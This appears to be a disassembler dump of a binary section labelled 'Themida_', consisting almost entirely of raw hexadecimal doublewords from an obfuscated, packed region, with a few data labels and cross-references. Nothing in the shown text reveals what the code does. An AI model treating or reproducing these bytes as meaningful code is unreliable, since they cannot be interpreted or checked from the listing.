dd 0F9BF0F24h, 0BB9DB5FFh, 6A05E5h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 9FE34BC3h
dd 0FFFA6720h, 830FE45Ah, 6, 18999D8Bh, 95FF05E2h, 5E22BD1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 8DC35747h
dd 52448E6Bh, 8B52999Fh, 0E5BB91B5h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E1AA0098h
dd 0BD2BABABh, 5E20471h, 12E9h, 94A61200h, 0DEDC176Bh
dd 0B995610h, 9C129301h, 8BF08CA0h, 0E210DD85h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 510994CCh, 186C6D00h, 0C48689h, 8B660000h, 0E9958BF9h
dd 6A05E20Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 91ABC356h, 2B50985Bh, 9531FBFAh
dd 5E21E69h, 83D9B70Fh, 6A04C2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0C251DBC3h, 0D6B6EAFEh
dd 0DA8B6686h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 7A7FC353h, 164C77E8h
dd 0E4D8D89h, 0BF6605E2h, 858D2777h, 5E5CE5Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9C35545h, 0DE8AB2A9h
dd 0B88689h, 85310000h, 5E20C4Dh, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 697C65C3h
dd 0F132C76h, 0B5FFD8BFh, 5E5BB9Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0AAC35545h, 0F814F799h, 8D899006h
dd 5E20B89h, 14E995FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 2B9308C3h, 0BD8BADBFh
dd 5E2046Dh, 8B666096h, 565250CFh, 0E9310F59h, 8, 8C18098Dh
dd 0B6DE4A48h, 5061585Ah, 76BB6650h, 0FF965B0Eh, 0E5BB9DB5h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 67E247Eh, 0E9E3224Eh, 12h, 59034EA9h, 904CB9E5h
dd 0FBAAB2A7h, 0BE2C33E5h, 8B0FD6B5h, 0Ch, 6880Fh, 9D890000h
dd 5E22199h, 2D2195FFh, 8E905E2h, 0C3000000h, 0DEDAA05Ah
dd 83FFDC86h, 0E20089BDh, 840F0005h, 33h, 24C9BD8Bh, 0BF6605E2h
dd 895043A9h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 0FEB712C3h, 0D618A385h, 0FFF846A0h
dd 0E5BB9DB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0E62BCC50h, 302468FAh
dd 5E941C8h, 58000000h, 37918F84h, 22058589h, 95FF05E2h
dd 5E20415h, 6099D23h, 8C0F05E2h, 15h, 10E9h, 0FF0CE700h
dd 104653BCh, 99B9B82Eh, 0A5DE2B64h, 9DB5FF10h, 6A05E5BBh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 3A64C356h, 0E9EAD088h, 12h, 53DABFA2h, 675D33C4h
dd 0B8BC3651h, 3EB02807h, 95FF4002h, 5E20A59h, 6B57BB66h
dd 24CDBD83h, 0F0205E2h, 3B84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1D3AC373h
dd 0FD71108Fh, 858BF12Bh, 5E21F35h, 1619D89h, 0C605E2h
dd 1830F00h, 0F5000000h, 0CF985C7h, 5E2h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0C891E6C3h, 0FFF32DE9h, 55006AFFh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 14EFFE41h
dd 2E6E86D0h, 8B66F4EEh, 60C18BFEh, 12E857h, 499D0000h
dd 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h, 0B589585Bh
dd 5E20E69h, 91858D61h, 8905E20Eh, 0E20545BDh, 5E85005h
dd 4F000000h, 0A8019E74h, 5BDE8B66h, 6A240489h, 0DD9D8B00h
dd 6A05E204h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0EE229B7Ch, 8DFABF0Fh, 0E6CDFC85h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 49CFBD9Ch, 0EE94E23h, 0
dd 0A8993585h, 1BDE69B4h, 4F431D26h, 8E85141h, 0F0000000h
dd 0F89DE22Ah, 0E9E99B19h, 8, 78B14A3Dh, 52189F4Bh, 0C0835B5Bh
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 66784338h, 8B66DA8Bh, 0B5BB50FBh, 894CD403h
dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0A5C05FC3h, 0B5E78AC2h, 6ADA8B66h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 86AE89E9h, 0ED24832Ch, 95FF006Ah, 5E21E2Dh, 16A5BD8Bh
dd 8D8D05E2h, 5E59D80h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 67C35242h, 0F88ADF8Bh, 14870Fh, 8B0F0000h
dd 0Eh, 9E9h, 4EA3400h, 0C73D6E67h, 0D1FFEF2Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A4C35141h, 0F957C6E3h
dd 29FE8B66h, 0E21A75BDh, 0B9BD8305h, 105E200h, 61850Fh
dd 0CBF0000h, 6A0A7E5Ah, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 714D8363h, 50FC8A90h
dd 51BD0390h, 0FF05E214h, 0E214E995h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0E783DD74h, 6CCC8354h, 69BD8909h, 0E905E205h, 0E0Bh
dd 0E8h, 0ED815D00h, 5E6CE06h, 0B501C5B3h, 5E21D81h, 8E9E858Dh
dd 6A05E5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0AACDFBC3h, 1CB390F8h, 0FF649050h, 35h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0D2808702h, 0DA9290B1h, 0BD03FFA8h, 5E22A99h, 258964h
dd 0F000000h, 82h, 2985FF00h, 6A05E223h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 758C355h
dd 59E09788h, 0BE90D54h, 8F000000h, 134B0CB3h, 2BEA454Eh
dd 0FF6AEA74h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 21C35040h, 21A99589h, 0BD0B05E2h, 5E21911h, 3249B5FFh
dd 9B305E2h, 189D95FFh, 0F5E905E2h, 33000000h, 0E22AADBDh
dd 0F00B005h, 68Ch, 2D850100h, 105E209h, 0E21D498Dh, 8970E605h
dd 0E21001BDh, 8171E405h, 0F4F058C7h, 0F613C01h, 0C383h
dd 68B0F00h, 8B000000h, 0E217F9BDh, 0C8B60F05h, 1425BD89h
dd 8B6005E2h, 0E2243D85h, 0BA61FC05h, 6, 0BB66C18Bh, 0E8C1E20Ah
dd 0E2F76604h, 0B8665160h, 0F95A8DCEh, 66C82B61h, 8BC90BBBh
dd 0F9BF0FD1h, 1D5D8589h, 75E905E2h, 8B000000h, 885h, 0C083F900h
dd 0BD9D2B07h, 0F05E217h, 68Bh, 0BD8D0900h, 8305E213h
dd 0D03B00C0h, 0B830Fh, 0BD890000h, 5E20109h, 43E9h, 0FF8D8B00h
dd 66FFFFFFh, 3989EF81h, 0F01E183h, 2F84h, 83DF8B00h, 0FFFFFFA5h
dd 11E9FEFFh, 0DC000000h, 5037AB0Dh, 689A5350h, 0B86936C4h
dd 52F57A2Ah, 89589h, 81660000h, 0E93B30DFh, 0
dd 42E5B58Dh, 0E85205E6h, 6, 2F74AEC7h, 8C0F7164h, 0
dd 6A5F5Fh, 331D9D01h, 95FF05E2h, 5E20AB9h, 21CD9D8Bh
dd 7DB905E2h, 6A00000Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0D7C7C355h, 0D7F2CA0Eh
dd 0F105A13h, 28Fh, 83DF8B00h, 9D8BFCE1h, 5E21B49h, 8B60FCF9h
dd 0E213E585h, 1DB58905h, 6105E209h, 0B8h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 9CCA58B6h, 0CBB66F8h, 0BA52h, 0BD8B0000h, 5E22C7Dh
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 33259D8Bh, 6A05E2h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0A6EEAC3h, 57FEF9ECh, 0EE9h, 6F1F0F00h, 0D75696BEh
dd 416B5ED7h, 0D78AC94h, 88h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0B7C35242h, 1CBBD64Ch, 0E902D5FEh
dd 0Bh, 57A954C5h, 2C5908E2h, 8BC7667Ch, 0E20BE995h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 8B66B5DBh, 0A1B589D9h, 2305E226h, 0E221419Dh, 618D8B05h
dd 0FC05E207h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 15EAC7C3h, 3D66021Ch, 0BF68030Fh, 420B90B4h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h
dd 0F04E443Ah, 17454D8Fh, 12E8h, 82A62800h, 87C1BD66h
dd 0DDAB43D9h, 0A9E947A0h, 0E9793252h, 14h, 0BE8D56DCh
dd 0AAB8E9A4h, 438E7049h, 0B17624F6h, 0DE62DACCh, 59B5895Fh
dd 8305E207h, 0E20D79BDh, 840F0005h, 5Fh, 0D05BD8Bh, 0B805E2h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0F959C351h, 4C428D8Dh, 6A05E2h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 29D191C3h, 0E2233585h, 0FE1FF05h, 684h, 0FD953100h
dd 8305E216h, 0E21B55BDh, 840F0005h, 43Dh, 0D8D8501h, 0BD8305E2h
dd 5E21B55h, 45840F01h, 0E9000004h, 7, 3BA195F6h, 83FECFBCh
dd 0E21B55BDh, 860F0305h, 3F6h, 0E719D89h, 8B6605E2h, 9D8B60DEh
dd 5E219B9h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0D295C351h, 0E3801834h
dd 4E18027h, 8C1BD8Bh, 0C90A05E2h, 15F840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 1B8E6C3h, 122D1902h, 8B6B94A6h, 0E2241D85h, 0BDBD2B05h
dd 3305E21Fh, 0E22AA985h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D1FA393Ah
dd 0CB81D41Dh, 7E813E20h, 0FA8B6690h, 0BD019050h, 5E22621h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0A5EE41C3h, 0FBA3FA0h, 66F91446h, 0E85B7BBBh
dd 4, 1F03FFh, 11E9h, 27975500h, 0D3E278E2h, 1289C5FDh
dd 48FE304Ah, 0F50C71Ch, 58Ah, 190FBF00h, 448B4B29h, 8B0424h
dd 6622BF66h, 4244489h, 52506060h, 585A310Fh, 0DE961h
dd 98960000h, 0B11726C5h, 69FCA4A3h, 616BF2F6h, 56006A58h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 95FFAD1Fh, 5E20839h, 0B75BD8Bh, 858905E2h, 5E5BB9Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 50C35545h
dd 1B6E9B8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0BAD763C3h, 36BF6677h, 95858BA4h
dd 0F05E5BBh, 18Fh, 0C7F800h, 18h, 21C78166h, 99B58BBFh
dd 6605E5BBh, 8B45FFBBh, 0E200F985h, 0FABF0F05h, 9D8B0689h
dd 5E22AC5h, 241D858Bh, 6A05E2h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 1C2C79C3h, 0CB9C6B8Bh
dd 8B4477D0h, 0E229B59Dh, 8B666005h, 468961F2h, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0BF414413h, 81663D63h, 1C9CCC7h, 0E20CEDB5h, 52609605h
dd 665F5E51h, 6198A8BAh, 58F0F50h, 0BB000000h, 4A363B53h
dd 0F9BD8B96h, 0FF05E221h, 0E5BB95B5h, 50006A05h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 4E8A9h, 3FF0000h, 810F001Fh, 2, 0B350D98Bh, 24448B29h
dd 7E804h, 9EB70000h, 583849E2h, 525060ECh, 585A310Fh
dd 8B5F61h, 448966B3h, 0BF660424h, 8B58EC84h, 0E22B15BDh
dd 0D7816605h, 858D3223h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 8EC35343h, 0BD8B9371h, 5E204DDh
dd 2ABB6690h, 810F50EAh, 0Ah, 48C0Fh, 0BB660000h, 31905EB6h
dd 0E231058Dh, 3995FF05h, 6A05E208h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 6E39C350h
dd 9DBD23DFh, 6605E20Ch, 0D17EEF81h, 57006A61h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 834CF2D1h
dd 0D0919E04h, 8F0FAE9Dh, 1, 5585C7F5h, 305E21Bh, 0E9000000h
dd 14h, 7B252DEAh, 0CA3A3E18h, 0E076F566h, 84A1144Eh, 0E873B2C6h
dd 0BB9DBD83h, 0F0005E5h, 6184h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1B635D57h
dd 0E96D5F35h, 0Dh, 9218DF5Ch, 0E19ED492h, 0D518B8D7h
dd 43E97Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 2D359C3h, 699D8BC3h, 0F05E22Ah
dd 3050DEBFh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 0B3A5B141h, 56006ADCh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 20AEFBC5h
dd 86646E9Ch, 14E8h, 0ABA8F600h, 0ED302F40h, 6F7AB4Dh
dd 0CD8588A5h, 0D6586284h, 7D9D89E0h, 5B05E20Dh, 1B55BD83h
dd 0F0305E2h, 48385h, 82BF5300h, 5F622F56h, 0BB9DBD83h
dd 0F0005E5h, 46F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0B5FFDBE3h, 5E5BB9Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 8BC35040h
dd 0B70F767Bh, 95FFF5FAh, 5E2172Dh, 8E9h, 5FCCA400h, 7567713Ah
dd 91B58BECh, 6A05E5BBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 50A1C352h, 0E85D579Ah
dd 6, 1A41F9F9h, 5FF9ED7Fh, 106C7h, 6A0001h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0A6B58EC3h, 64CDE575h, 96F8B70Fh, 310F5250h, 5BFE8A53h
dd 0E850585Ah, 5, 0FC026216h, 68A0F2Fh, 50000000h, 5A310F52h
dd 8B965F58h, 0E20069BDh, 9DB5FF05h, 8905E5BBh, 0E20C218Dh
dd 0D195FF05h, 6A05E22Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 9286C355h, 1BEBE2A0h
dd 0E18D297Dh, 8B05E20Bh, 0E5BB91B5h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 10E92D01h, 81000000h, 0EE814A2Dh, 0FDAD48E5h, 3DB6C30Fh
dd 8B8E33DFh, 0E210DD85h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 9A49C411h
dd 0F8D5ECA6h, 0C4868961h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 9E9EC350h
dd 14E8h, 2EB2B00h, 0E944FBEBh, 0E156C18h, 4E315B18h, 0ACF4A49Bh
dd 459D8B58h, 5B05E21Bh, 0BE9958Bh, 8C0F05E2h, 5, 409711BFh
dd 4C28327h, 68C0Fh, 85290000h, 5E21481h, 6A205089h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0E437C351h, 8E915EBh, 0B3000000h, 0AFCBA9C0h, 0BFD20702h
dd 78F643Eh, 0CE5B858Dh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 8A6316C3h, 89C5891Eh
dd 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 51E58183h, 85897AA4h, 5E21819h, 840F006Ah
dd 6, 21F9BD31h, 0B5FF05E2h, 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 62C35242h, 392C44D0h, 0F5BF957h
dd 1889h, 13E900h, 936C0000h, 0B2A13AAFh, 2538AC54h, 119882D8h
dd 773E1F58h, 0E995FFD2h, 8B05E214h, 0E22C09BDh, 52509605h
dd 0D74705BBh, 66310F24h, 585ADA8Bh, 6E86050h, 0F6000000h
dd 0FC5D38Ah, 0A3D6BE9Bh, 0E95B0CA6h, 8, 0AACDFB92h, 0CC2BC28Ch
dd 0BF0F9661h, 9DB5FFFAh, 3105E5BBh, 0E205359Dh, 2195FF05h
dd 8B05E22Dh, 89BD83FBh, 5E200h, 36840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0A19FAAC3h, 59E41Dh, 669602A5h, 50F22EBBh, 906E44BFh
dd 0BD8B964Ch, 5E21101h, 0BB9DB5FFh, 0BD8905E5h, 5E21D1Dh
dd 41595FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 272C6AC3h, 89B7AC61h, 0E20AF59Dh
dd 652BB05h, 0B5FF49C5h, 5E5BB9Dh, 6870Fh, 0BD890000h
dd 5E22499h, 0A5995FFh, 35705E2h, 0E207419Dh, 0BD835B05h
dd 5E224CDh, 84840F02h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3C29C357h
dd 0B53E6D6Ah, 0A19D2356h, 8B05E223h, 0E21F3585h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0F181D7F0h, 8A4C0ACEh, 0C6FCh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 8BC35343h, 2AB5BACDh, 0E1958B60h
dd 905E208h, 0E21731BDh, 0C7F56105h, 0E20CF985h, 5, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 66F56BC2h, 0BA0CEF81h, 0FFF2EDE9h, 6840FFFh, 89000000h
dd 0E21B3195h, 6AC18B05h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 4A3DC352h, 11E8h, 969FA900h
dd 5EDEE245h, 6CCEBB2Ch, 0DDCCE273h, 8D5FA7ABh, 0E20E9185h
dd 68B0F05h, 31000000h, 0E22CA18Dh, 8B669005h, 8B6050FEh
dd 515250CEh, 66310F59h, 585ACE8Bh, 6A9061h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8CC815C3h
dd 6AB918h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 44C35747h, 0F5F11601h, 919D23A7h, 6A05E21Eh, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0B5897EAAh, 5E22201h, 11E9h, 56912C00h, 0C2AAE3E8h
dd 791D5429h, 335805BCh, 858DE111h, 5E6DE46h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 69C35141h, 97C560Dh
dd 0E208A585h, 5C08305h, 64B5B1BFh, 11E89003h, 29000000h
dd 9F761A8Eh, 158139Dh, 21EA1BA2h, 0FFB531B0h, 505FF4B7h
dd 28A0Fh, 0FDB70000h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 62880C82h, 2DFF0374h
dd 6A006AA8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 5528C352h, 0B7AEE87Bh, 89FE4EAAh
dd 0E222D1BDh, 0FF006A05h, 0E21E2D95h, 11E905h, 0EAD90000h
dd 6427F937h, 625378E9h, 538C51DDh, 8D0F6A56h, 0E59D808Dh
dd 0BE805h, 4BAD0000h, 0A89146B2h, 524B0DFCh, 773BF6Ch
dd 0FF5B33B6h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0E76E71A3h, 64FC3159h
dd 0AE96Ch, 93770000h, 8E0E008h, 0CF058D27h, 0B9BD83h
dd 0F0105E2h, 6C85h, 0BB56FC00h, 1309A0F0h, 6A026A5Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 0F831C352h, 0AFEA613Dh, 70A636EBh, 590FBF66h
dd 24048950h, 433723BBh, 0E595895Dh, 0FF05E215h, 0E214E995h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 38751BA3h, 2CDF90F4h
aJse db 'Jé…',0Dh,0 ; DATA XREF: Themida_:004EE55Co
; Themida_:004F0334o ...
align 2
aS_9 db 'è',0
dd 5D000000h, 0DE50ED81h, 8D8905E6h, 5E20F9Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ACC35242h, 72C27DF0h
dd 0FA8A6D90h, 8E9E858Dh, 6A05E5h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 15EFA5C3h, 6654988Fh
dd 0D435C781h, 0D88B6690h, 68E0F50h, 51000000h, 0BDFBF66h
dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 1DA55C3h, 0E205D585h, 35FF6405h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0FAC35747h
dd 8D6D5379h, 0A5BD89C3h, 6405E219h, 2589h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 583DD9C3h, 299D33FBh, 0FF05E20Eh, 0E2232985h, 51BD8B05h
dd 6A05E209h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 5A0EB91h, 10E92EA4h, 0A8000000h
dd 0D001F686h, 7628EDEDh, 2346A49Dh, 0FFE168DDh, 0E21DF1B5h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0BC8DBC41h, 7174A859h, 9D032C99h, 5E210ADh
dd 189D95FFh, 16E905E2h, 0E9000001h, 0Bh, 7C550BADh, 2E4DEEF9h
dd 0B04EA313h, 3170E600h, 0E219DD85h, 8971E405h, 0E211118Dh
dd 0F613C05h, 0EC83h, 4890F00h, 66000000h, 0F3E3CBBh, 10E9C8B6h
dd 0B1000000h, 3E5FB06Fh, 0FD57BAB7h, 3A03C121h, 0BA61685Dh
dd 6, 7CF78166h, 0FEB70F65h, 6660C18Bh, 0A941CB81h, 13599D89h
dd 0C16105E2h, 0B52904E8h, 5E21B91h, 8BE2F766h, 0E20AB59Dh
dd 0FC82B05h, 48Ah, 53BF6600h, 81D18B5Bh, 0EE0F0ECFh, 83E94Fh
dd 81660000h, 8BAA55E3h, 185h, 0C083FC00h, 7DBD8B07h, 8305E21Dh
dd 0E95200C0h, 10h, 9933C0DDh, 7E2AD40Eh, 0A18719CCh, 6A6CD7F5h
dd 0FD03B5Bh, 1D83h, 0DFBF0F00h, 44E9h, 0BE800h, 16250000h
dd 569831BDh, 0F2F7B751h, 0DF8B6062h, 8D8B5B61h, 0FFFFFFFFh
dd 323D9D29h, 0E18305E2h, 1A840F01h, 66000000h, 832CA2BFh
dd 0FFFFFFA5h, 0DE8BFEFFh, 19589h, 0DD8A0000h, 0E9h, 62B58D00h
dd 6A05E652h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 3572C355h, 0A465D20h, 0E545EB74h
dd 9006AF5h, 0E21A759Dh, 95FFF905h, 5E20AB9h, 1729B529h
dd 9B905E2h, 0E8000011h, 0Bh, 0B1C1BF6Fh, 9050F725h, 66EB7D3Bh
dd 5BC1B7BBh, 21259589h, 0E18305E2h, 0B59D23FCh, 0FC05E21Ah
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h
dd 3C9A3F40h, 0E7AFB9BFh, 0AE84Ch, 10130000h, 60924635h
dd 8334FBFBh, 0ABF38166h, 0B85F59h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 5611C351h, 0D22B5FFCh, 57D9D2Bh, 33AD05E2h, 3E8D1C2h
dd 4E983D0h, 9D8BF475h, 5E211C1h, 880Dh, 0EF8A6000h, 8142CB81h
dd 8B617927h, 0E20BE995h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 63526033h
dd 9D2BD526h, 5E21C9Dh, 7618D8Bh, 5E905E2h, 0BA000000h
dd 846B33AAh, 500DDF80h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 6B7C9FCFh, 0BB66789Fh, 8D292C46h
dd 5E205D1h, 0D79BD83h, 0F0005E2h, 2784h, 81BD2300h, 0B805E22Ah
dd 0
dd 58A0F60h, 66000000h, 45CCD981h, 8D61F88Bh, 0E24C428Dh
dd 0DF8B6605h, 0F8E1FFF5h, 1B55BD83h, 0F0005E2h, 47684h
dd 7E900h, 3A250000h, 0F5CAA36Fh, 55BD8322h, 105E21Bh
dd 478840Fh, 0BF660000h, 0BD8346F4h, 5E21B55h, 31860F03h
dd 89000004h, 0E21B6D95h, 0B59D8B05h, 6005E215h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 82C35242h, 0F03831DDh
dd 0FCF93E49h, 1BF1BD8Bh, 8D2905E2h, 5E20AFDh, 6AD98C66h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 6B20C351h, 6D0DEF81h, 0E1807BCEh, 55006A04h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 7CD8FF88h, 203C3F12h, 0BF66FB8Bh, 0C90A9F6Fh, 15C840Fh
dd 8BF90000h, 0E2241D85h, 34BF6605h, 9D8D8998h, 3305E20Ah
dd 0E22AA985h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0BD443FAAh, 0DB8166E7h
dd 0BF90FF28h, 5756781Ch, 23BB6650h, 6A90BDh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1DDF07C3h
dd 0F8B70F02h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 37AE68C3h, 8B6654DDh, 2AEF68DEh
dd 0EE804F1h, 59000000h, 0D3F618C3h, 0CF9B07B1h, 0D90F7367h
dd 188E0FFBh, 0E8000000h, 12h, 9E127515h, 1C718157h, 68E6399Eh
